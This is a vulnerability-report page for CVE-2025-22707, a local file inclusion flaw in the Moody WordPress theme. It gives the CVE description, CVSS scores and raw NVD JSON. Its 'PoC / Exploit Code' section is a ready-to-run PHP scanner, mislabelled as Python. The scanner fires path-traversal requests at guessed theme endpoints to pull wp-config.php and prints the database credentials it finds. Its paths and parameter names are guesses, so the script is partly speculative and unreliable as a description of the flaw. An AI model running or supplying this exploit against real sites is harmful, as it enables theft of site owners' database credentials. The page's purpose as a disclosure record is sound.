Security Vulnerability Report
中文
CVE-2025-22707 CVSS 8.1 HIGH

CVE-2025-22707

Published: 2026-01-08 10:15:47
Last Modified: 2026-04-27 19:16:12

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove Moody tm-moody allows PHP Local File Inclusion.This issue affects Moody: from n/a through <= 2.7.3.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:thememove:moody:*:*:*:*:*:wordpress:*:* - VULNERABLE
ThemeMove Moody <= 2.7.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-22707 PoC - Moody WordPress Theme Local File Inclusion * Target: ThemeMove Moody theme <= 2.7.3 * Vulnerability: Unauthenticated Local File Inclusion * * Usage: php poc.php [target_url] * Example: php poc.php http://victim.com */ $target = $argv[1] ?? 'http://localhost'; // Common vulnerable endpoints in Moody theme $vulnerable_paths = [ '/wp-content/themes/tm-moody/framework/modules/header/view/', '/wp-content/themes/tm-moody/framework/include/', '/wp-content/themes/tm-moody/' ]; // Target parameter names commonly used in LFI vulnerabilities $param_names = ['file', 'page', 'template', 'view', 'path', 'style']; // Test payload - path traversal to read wp-config.php echo "[*] CVE-2025-22707 PoC - Moody Theme LFI\n"; echo "[*] Target: {$target}\n\n"; foreach ($vulnerable_paths as $base_path) { foreach ($param_names as $param) { // Basic path traversal payload $payload = "../../../../../../../../wp-config.php"; $url = $target . $base_path . "?" . $param . "=" . urlencode($payload); echo "[+] Testing: {$param}={$payload}\n"; echo " URL: {$url}\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && stripos($response, 'DB_NAME') !== false) { echo "[!] VULNERABLE! Found wp-config.php content\n"; echo "[+] Extracted content preview:\n"; preg_match_all('/define\([^)]+\)/i', $response, $matches); foreach (array_slice($matches[0], 0, 5) as $match) { echo " {$match}\n"; } exit(0); } } } echo "[-] No obvious vulnerability detected\n"; echo "[*] Manual testing recommended\n";

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-22707", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:47.473", "lastModified": "2026-04-27T19:16:11.583", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ThemeMove Moody tm-moody allows PHP Local File Inclusion.This issue affects Moody: from n/a through <= 2.7.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:thememove:moody:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "2.7.3", "matchCriteriaId": "D89323D0-AEB7-4274-BBA4-8425C42E9BD6"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/tm-moody/vulnerability/wordpress-moody-theme-2-7-3-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}